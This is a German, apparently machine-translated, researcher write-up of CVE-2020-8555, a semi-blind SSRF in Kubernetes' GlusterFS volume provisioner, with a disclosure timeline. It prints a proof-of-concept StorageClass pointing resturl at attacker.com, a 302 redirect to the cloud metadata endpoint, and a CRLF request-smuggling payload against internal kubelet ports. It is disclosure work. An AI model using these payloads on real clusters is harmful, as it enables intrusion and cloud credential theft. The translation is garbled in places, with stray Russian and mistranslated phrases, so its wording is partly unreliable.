Wenn es nicht nur um Kubernetes-Schwachstellen geht ...

Notiz. übersetzen: Die Autoren dieses Artikels sprechen ausführlich darüber, wie es ihnen gelungen ist, die Sicherheitslücke zu entdecken CVE-2020–8555 in Kubernetes. Obwohl es zunächst nicht sehr gefährlich erschien, stellte sich in Kombination mit anderen Faktoren heraus, dass seine Kritikalität für einige Cloud-Anbieter am höchsten war. Mehrere Organisationen belohnten die Spezialisten großzügig für ihre Arbeit.

Wenn es nicht nur um Kubernetes-Schwachstellen geht ...

Wer sind wir

Wir sind zwei französische Sicherheitsforscher, die gemeinsam eine Schwachstelle in Kubernetes entdeckt haben. Unsere Namen sind Brice Augras und Christophe Hauquiert, aber auf vielen Bug Bounty-Plattformen sind wir als Reeverzax bzw. Hach bekannt:

Was ist passiert?

In diesem Artikel erzählen wir, wie aus einem gewöhnlichen Forschungsprojekt (zumindest vorerst) unerwartet das aufregendste Abenteuer im Leben eines Insektenjägers wurde.

Wie Sie wahrscheinlich wissen, verfügen Bug-Jäger über einige bemerkenswerte Funktionen:

  • sie leben von Pizza und Bier;
  • Sie arbeiten, wenn alle anderen schlafen.

Wir sind keine Ausnahme von diesen Regeln: Wir treffen uns normalerweise am Wochenende und verbringen schlaflose Nächte mit Hacken. Doch eine dieser Nächte endete auf sehr ungewöhnliche Weise.

Zunächst wollten wir uns treffen, um die Teilnahme zu besprechen CTF Am nächsten Tag. Während eines Gesprächs über Kubernetes-Sicherheit in einer Managed-Service-Umgebung erinnerten wir uns an die alte Idee von SSRF (Serverseitige Anforderungsfälschung) und beschloss, es als Angriffsskript zu verwenden.

Um 11 Uhr setzten wir uns zur Recherche und gingen früh morgens zu Bett, sehr zufrieden mit den Ergebnissen. Aufgrund dieser Recherche stießen wir auf das MSRC Bug Bounty-Programm und entwickelten einen Exploit zur Rechteausweitung.

Mehrere Wochen/Monate vergingen und unser unerwartetes Ergebnis führte zu einer der höchsten Belohnungen in der Geschichte der Azure Cloud Bug Bounty – zusätzlich zu der, die wir von Kubernetes erhalten haben!

Basierend auf unserem Forschungsprojekt hat das Kubernetes Product Security Committee veröffentlicht CVE-2020–8555.

Jetzt möchte ich die Informationen über die gefundene Schwachstelle so weit wie möglich verbreiten. Wir hoffen, dass Sie den Fund zu schätzen wissen und die technischen Details mit anderen Mitgliedern der Infosec-Community teilen!

Hier ist also unsere Geschichte...

Kontext

Um das Geschehen möglichst umfassend zu verstehen, werfen wir zunächst einen Blick darauf, wie Kubernetes in einer Cloud-verwalteten Umgebung funktioniert.

Wenn Sie einen Kubernetes-Cluster in einer solchen Umgebung instanziieren, liegt die Verwaltungsebene normalerweise in der Verantwortung des Cloud-Anbieters:

Wenn es nicht nur um Kubernetes-Schwachstellen geht ...
Die Kontrollschicht befindet sich am Perimeter des Cloud-Anbieters, während sich die Kubernetes-Knoten am Perimeter des Kunden befinden

Um Volumes dynamisch zuzuweisen, wird ein Mechanismus verwendet, der diese dynamisch von einem externen Speicher-Backend aus bereitstellt und mit PVC abgleicht (persistenter Volume-Anspruch, also eine Anforderung eines Volumes).

Nachdem also der PVC erstellt und an die StorageClass im K8s-Cluster gebunden wurde, werden weitere Aktionen zur Bereitstellung des Volumes vom Kube-/Cloud-Controller-Manager übernommen (sein genauer Name hängt von der Version ab). (Notiz. übersetzen: Wir haben bereits mehr über CCM am Beispiel seiner Implementierung bei einem der Cloud-Anbieter geschrieben hier.)

Es gibt verschiedene Arten von Provisionern, die von Kubernetes unterstützt werden: Die meisten davon sind in enthalten Orchestrator-Kern, während andere von zusätzlichen Provisionern verwaltet werden, die in Pods im Cluster platziert werden.

In unserer Forschung haben wir uns auf den internen Volume-Bereitstellungsmechanismus konzentriert, der unten dargestellt ist:

Wenn es nicht nur um Kubernetes-Schwachstellen geht ...
Dynamische Bereitstellung von Volumes mithilfe des integrierten Kubernetes-Provisioners

Kurz gesagt: Wenn Kubernetes in einer verwalteten Umgebung bereitgestellt wird, liegt der Controller-Manager in der Verantwortung des Cloud-Anbieters, aber die Anforderung zur Volume-Erstellung (Nummer 3 im Diagramm oben) verlässt das interne Netzwerk des Cloud-Anbieters. Und hier wird es richtig interessant!

Hacking-Szenario

In diesem Abschnitt erklären wir, wie wir den oben genannten Workflow genutzt und auf die internen Ressourcen des Cloud-Dienstleisters zugegriffen haben. Außerdem erfahren Sie, wie Sie bestimmte Aktionen ausführen können, z. B. den Erhalt interner Anmeldeinformationen oder die Eskalation von Berechtigungen.

Eine einfache Manipulation (in diesem Fall Service Side Request Forgery) half dabei, über die Client-Umgebung hinaus in Cluster verschiedener Dienstanbieter unter verwalteten K8s vorzudringen.

Bei unserer Recherche haben wir uns auf den GlusterFS-Provisioner konzentriert. Auch wenn in diesem Zusammenhang der weitere Handlungsablauf beschrieben wird, sind Quobyte, StorageOS und ScaleIO von der gleichen Schwachstelle betroffen.

Wenn es nicht nur um Kubernetes-Schwachstellen geht ...
Missbrauch des dynamischen Volume-Bereitstellungsmechanismus

Während der Speicherklassenanalyse GlusterFS im Golang-Client-Quellcode wir bemerktdas bei der ersten HTTP-Anfrage (3), die während der Volume-Erstellung gesendet wird, bis zum Ende der benutzerdefinierten URL im Parameter resturl hinzugefügt wird /volumes.

Wir haben uns entschieden, diesen zusätzlichen Pfad durch Hinzufügen zu entfernen # im Parameter resturl. Hier ist die erste YAML-Konfiguration, die wir zum Testen auf eine halbblinde SSRF-Schwachstelle verwendet haben (Sie können zum Beispiel mehr über halbblindes oder halbblindes SSRF lesen: hier - ca. übersetzt):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Dann haben wir die Binärdatei verwendet, um den Kubernetes-Cluster aus der Ferne zu verwalten kubectl. In der Regel ermöglichen Ihnen Cloud-Anbieter (Azure, Google, AWS usw.), Anmeldeinformationen für die Verwendung in diesem Dienstprogramm zu erhalten.

Dadurch konnte ich meine „spezielle“ Datei verwenden. Kube-Controller-Manager führte die resultierende HTTP-Anfrage aus:

kubectl create -f sc-poc.yaml

Wenn es nicht nur um Kubernetes-Schwachstellen geht ...
Die Antwort aus Sicht des Angreifers

Kurz darauf konnten wir über die Befehle auch eine HTTP-Antwort vom Zielserver erhalten describe pvc oder get events in kubectl. Und tatsächlich: Dieser Standard-Kubernetes-Treiber ist in seinen Warnungen/Fehlermeldungen zu ausführlich ...

Hier ist ein Beispiel mit einem Link zu https://www.google.frals Parameter festlegen resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Wenn es nicht nur um Kubernetes-Schwachstellen geht ...

Bei diesem Ansatz beschränkten wir uns auf Abfragen wie HTTP-POST und konnte den Inhalt des Antworttextes nicht abrufen, wenn der Rückkehrcode lautete 201. Daher haben wir uns entschieden, zusätzliche Recherchen durchzuführen und dieses Hacking-Szenario um neue Ansätze zu erweitern.

Die Entwicklung unserer Forschung

  • Erweitertes Szenario Nr. 1: Verwenden einer 302-Umleitung von einem externen Server, um die HTTP-Methode zu ändern und eine flexiblere Möglichkeit zur Erfassung interner Daten bereitzustellen.
  • Erweitertes Szenario Nr. 2: Automatisieren Sie LAN-Scans und interne Ressourcenerkennung.
  • Fortgeschrittenes Szenario Nr. 3: Verwendung von HTTP CRLF + Schmuggel („Anforderungsschmuggel“), um maßgeschneiderte HTTP-Anfragen zu erstellen und aus Kube-Controller-Protokollen extrahierte Daten abzurufen.

Technische Spezifikationen

  • Bei der Untersuchung wurde Azure Kubernetes Service (AKS) mit Kubernetes Version 1.12 in der Region Nordeuropa verwendet.
  • Die oben beschriebenen Szenarien wurden mit Ausnahme des dritten Szenarios auf den neuesten Versionen von Kubernetes ausgeführt Er brauchte Kubernetes, das mit der Golang-Version ≤ 1.12 erstellt wurde.
  • Externer Server des Angreifers – https://attacker.com.

Erweitertes Szenario Nr. 1: Umleiten einer HTTP-POST-Anfrage an GET und Empfang sensibler Daten

Die ursprüngliche Methode wurde durch die Konfiguration des Servers des Angreifers zur Rückkehr verbessert 302 HTTP-RetcodeSo konvertieren Sie eine POST-Anfrage in eine GET-Anfrage (Schritt 4 im Diagramm):

Wenn es nicht nur um Kubernetes-Schwachstellen geht ...

Erste Anfrage (3) kommt vom Kunden GlusterFS (Controller Manager) hat einen POST-Typ. Indem wir diese Schritte befolgten, konnten wir es in ein GET umwandeln:

  • Als Parameter resturl in StorageClass wird es angegeben http://attacker.com/redirect.php.
  • Endpunkt https://attacker.com/redirect.php antwortet mit einem 302-HTTP-Statuscode mit dem folgenden Location-Header: http://169.254.169.254. Dies kann jede andere interne Ressource sein – in diesem Fall dient der Weiterleitungslink lediglich als Beispiel.
  • Standardmäßig net/http-Bibliothek Golang leitet die Anfrage um und wandelt den POST in ein GET mit dem Statuscode 302 um, was zu einer HTTP-GET-Anfrage an die Zielressource führt.

Um den HTTP-Antworttext zu lesen, müssen Sie Folgendes tun describe PVC-Objekt:

kubectl describe pvc xxx

Hier ist ein Beispiel einer HTTP-Antwort im JSON-Format, die wir erhalten konnten:

Wenn es nicht nur um Kubernetes-Schwachstellen geht ...

Die Leistungsfähigkeit der damals gefundenen Schwachstelle war aufgrund folgender Punkte eingeschränkt:

  • HTTP-Header können nicht in ausgehende Anforderungen eingefügt werden.
  • Es ist nicht möglich, eine POST-Anfrage mit Parametern im Hauptteil durchzuführen (dies ist praktisch, um den Schlüsselwert von einer laufenden etcd-Instanz anzufordern). 2379 Port, wenn unverschlüsseltes HTTP verwendet wird).
  • Der Inhalt des Antworttextes konnte nicht abgerufen werden, wenn der Statuscode 200 war und die Antwort keinen JSON-Inhaltstyp hatte.

Fortgeschrittenes Szenario Nr. 2: Scannen des lokalen Netzwerks

Diese halbblinde SSRF-Methode wurde dann verwendet, um das interne Netzwerk des Cloud-Anbieters zu scannen und verschiedene Überwachungsdienste (Metadateninstanz, Kubelet usw. usw.) basierend auf den Antworten abzufragen Kube-Controller.

Wenn es nicht nur um Kubernetes-Schwachstellen geht ...

Zuerst wurden die Standard-Abhörports der Kubernetes-Komponenten ermittelt (8443, 10250, 10251 usw.) und dann mussten wir den Scanvorgang automatisieren.

Da diese Methode zum Scannen von Ressourcen sehr spezifisch ist und nicht mit klassischen Scannern und SSRF-Tools kompatibel ist, haben wir uns entschieden, eigene Worker in einem Bash-Skript zu erstellen, die den gesamten Prozess automatisieren.

Um beispielsweise den Bereich 172.16.0.0/12 des internen Netzwerks schnell zu scannen, wurden 15 Worker parallel gestartet. Der oben genannte IP-Bereich wurde nur als Beispiel ausgewählt und kann sich je nach IP-Bereich Ihres spezifischen Dienstanbieters ändern.

Um eine IP-Adresse und einen Port zu scannen, müssen Sie Folgendes tun:

  • die zuletzt überprüfte StorageClass löschen;
  • Entfernen Sie den zuvor überprüften Persistent Volume Claim.
  • Ändern Sie die IP- und Portwerte in sc.yaml;
  • Erstellen Sie eine StorageClass mit einer neuen IP und einem neuen Port.
  • ein neues PVC erstellen;
  • Extrahieren Sie die Scanergebnisse mithilfe der Beschreibung für PVC.

Fortgeschrittenes Szenario Nr. 3: CRLF-Injection + HTTP-Schmuggel in „alten“ Versionen des Kubernetes-Clusters

Darüber hinaus bot der Anbieter seinen Kunden alte Versionen des K8s-Clusters an и Als ich ihnen Zugriff auf die Protokolle von kube-controller-manager verschaffte, wurde der Effekt noch deutlicher.

Tatsächlich ist es für einen Angreifer viel bequemer, HTTP-Anfragen so zu ändern, dass sie nach eigenem Ermessen eine vollständige HTTP-Antwort erhalten.

Wenn es nicht nur um Kubernetes-Schwachstellen geht ...

Um das letzte Szenario umzusetzen, mussten folgende Bedingungen erfüllt sein:

  • Der Benutzer muss Zugriff auf kube-controller-manager-Protokolle haben (z. B. in Azure LogInsights).
  • Der Kubernetes-Cluster muss eine Version von Golang verwenden, die niedriger als 1.12 ist.

Wir haben eine lokale Umgebung bereitgestellt, die die Kommunikation zwischen dem GlusterFS Go-Client und einem gefälschten Zielserver simuliert (wir werden den PoC vorerst nicht veröffentlichen).

Wurde gefunden VerwundbarkeitDies betrifft Golang-Versionen vor 1.12 und ermöglicht Hackern die Durchführung von HTTP-Schmuggel-/CRLF-Angriffen.

Durch die Kombination des oben beschriebenen halbblinden SSRF вместе Damit konnten wir Anfragen nach unseren Wünschen senden, einschließlich des Ersetzens von Headern, HTTP-Methoden, Parametern und Daten, die dann von kube-controller-manager verarbeitet wurden.

Hier ist ein Beispiel für einen funktionierenden „Köder“ in einem Parameter resturl StorageClass, die ein ähnliches Angriffsszenario implementiert:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Das Ergebnis ist ein Fehler unaufgeforderte Antwort, eine Nachricht darüber, die in den Controller-Protokollen aufgezeichnet wird. Dank der standardmäßig aktivierten Ausführlichkeit werden dort auch die Inhalte der HTTP-Antwortnachricht gespeichert.

Wenn es nicht nur um Kubernetes-Schwachstellen geht ...

Dies war unser effektivster „Köder“ im Rahmen des Proof of Concept.

Mit diesem Ansatz konnten wir einige der folgenden Angriffe auf Cluster verschiedener verwalteter k8s-Anbieter durchführen: Privilegieneskalation mit Anmeldeinformationen auf Metadateninstanzen, Master-DoS über (unverschlüsselte) HTTP-Anfragen auf etcd-Masterinstanzen usw.

Nachwirkungen

In der offiziellen Stellungnahme von Kubernetes zu der von uns entdeckten SSRF-Schwachstelle wurde diese bewertet CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Wenn wir nur die mit dem Kubernetes-Perimeter verbundene Schwachstelle berücksichtigen, den Integritätsvektor (Integritätsvektor) es qualifiziert sich als Andere.

Die Abschätzung der möglichen Folgen im Kontext einer Managed-Service-Umgebung (und das war der interessanteste Teil unserer Forschung!) veranlasste uns jedoch, die Schwachstelle in eine Bewertung umzustufen Kritisch CVSS10/10 für viele Händler.

Nachfolgend finden Sie zusätzliche Informationen, die Ihnen helfen sollen, unsere Überlegungen bei der Bewertung der potenziellen Auswirkungen in Cloud-Umgebungen zu verstehen:

Integrität

  • Führen Sie Befehle aus der Ferne mit erworbenen internen Anmeldeinformationen aus.
  • Reproduzieren des obigen Szenarios mithilfe der IDOR-Methode (Insecure Direct Object Reference) mit anderen im lokalen Netzwerk gefundenen Ressourcen.

Конфиденциальность

  • Angriffstyp Seitliche Bewegung durch Diebstahl von Cloud-Anmeldeinformationen (z. B. Metadaten-API).
  • Sammeln von Informationen durch Scannen des lokalen Netzwerks (Bestimmen der SSH-Version, HTTP-Server-Version, ...).
  • Sammeln Sie Instanz- und Infrastrukturinformationen, indem Sie interne APIs wie die Metadaten-API abfragen (http://169.254.169.254, ...).
  • Diebstahl von Kundendaten mithilfe von Cloud-Anmeldeinformationen.

Verfügbarkeit

Alle Exploit-Szenarien im Zusammenhang mit Angriffsvektoren auf Integrität, kann für destruktive Aktionen verwendet werden und dazu führen, dass Master-Instanzen vom Client-Perimeter (oder einem anderen) nicht verfügbar sind.

Da wir uns in einer verwalteten K8s-Umgebung befanden und die Auswirkungen auf die Integrität beurteilten, können wir uns viele Szenarien vorstellen, die sich auf die Verfügbarkeit auswirken könnten. Weitere Beispiele sind die Beschädigung der etcd-Datenbank oder ein kritischer Aufruf der Kubernetes-API.

Zeitleiste

  • 6. Dezember 2019: Schwachstelle wurde MSRC Bug Bounty gemeldet.
  • 3. Januar 2020: Ein Dritter hat die Kubernetes-Entwickler darüber informiert, dass wir an einem Sicherheitsproblem arbeiten. Und bat sie, SSRF als interne (im Kern) Schwachstelle zu betrachten. Anschließend haben wir einen allgemeinen Bericht mit technischen Details zur Ursache des Problems bereitgestellt.
  • 15. Januar 2020: Wir haben Kubernetes-Entwicklern auf Anfrage technische und allgemeine Berichte zur Verfügung gestellt (über die HackerOne-Plattform).
  • 15. Januar 2020: Kubernetes-Entwickler haben uns darüber informiert, dass die halbblinde SSRF + CRLF-Injektion für frühere Versionen als Sicherheitslücke im Kern gilt. Wir haben sofort aufgehört, die Perimeter anderer Dienstleister zu analysieren: Das K8s-Team befasste sich nun mit der Grundursache.
  • 15. Januar 2020: MSRC-Belohnung über HackerOne erhalten.
  • 16. Januar 2020: Kubernetes PSC (Product Security Committee) hat die Schwachstelle erkannt und aufgrund der großen Zahl potenzieller Opfer darum gebeten, sie bis Mitte März geheim zu halten.
  • 11. Februar 2020: Google VRP-Prämie erhalten.
  • 4. März 2020: Kubernetes-Belohnung über HackerOne erhalten.
  • 15. März 2020: Ursprünglich geplante Veröffentlichung aufgrund der COVID-19-Situation verschoben.
  • 1. Juni 2020: Gemeinsame Stellungnahme von Kubernetes und Microsoft zur Schwachstelle.

TL; DR

  • Wir trinken Bier und essen Pizza :)
  • Wir haben eine Schwachstelle im Kern von Kubernetes entdeckt, obwohl wir nicht die Absicht hatten, dies zu tun.
  • Wir haben zusätzliche Analysen zu Clustern verschiedener Cloud-Anbieter durchgeführt und konnten den durch die Schwachstelle verursachten Schaden erhöhen, um zusätzliche tolle Boni zu erhalten.
  • Viele technische Details finden Sie in diesem Artikel. Gerne besprechen wir diese mit Ihnen (Twitter: @ReeverZax & @__hach_).
  • Es stellte sich heraus, dass alle möglichen Formalitäten und die Berichterstattung viel länger dauerten als erwartet.

Referenzen

PS vom Übersetzer

Lesen Sie auch auf unserem Blog:

Source: habr.com

Kommentar hinzufügen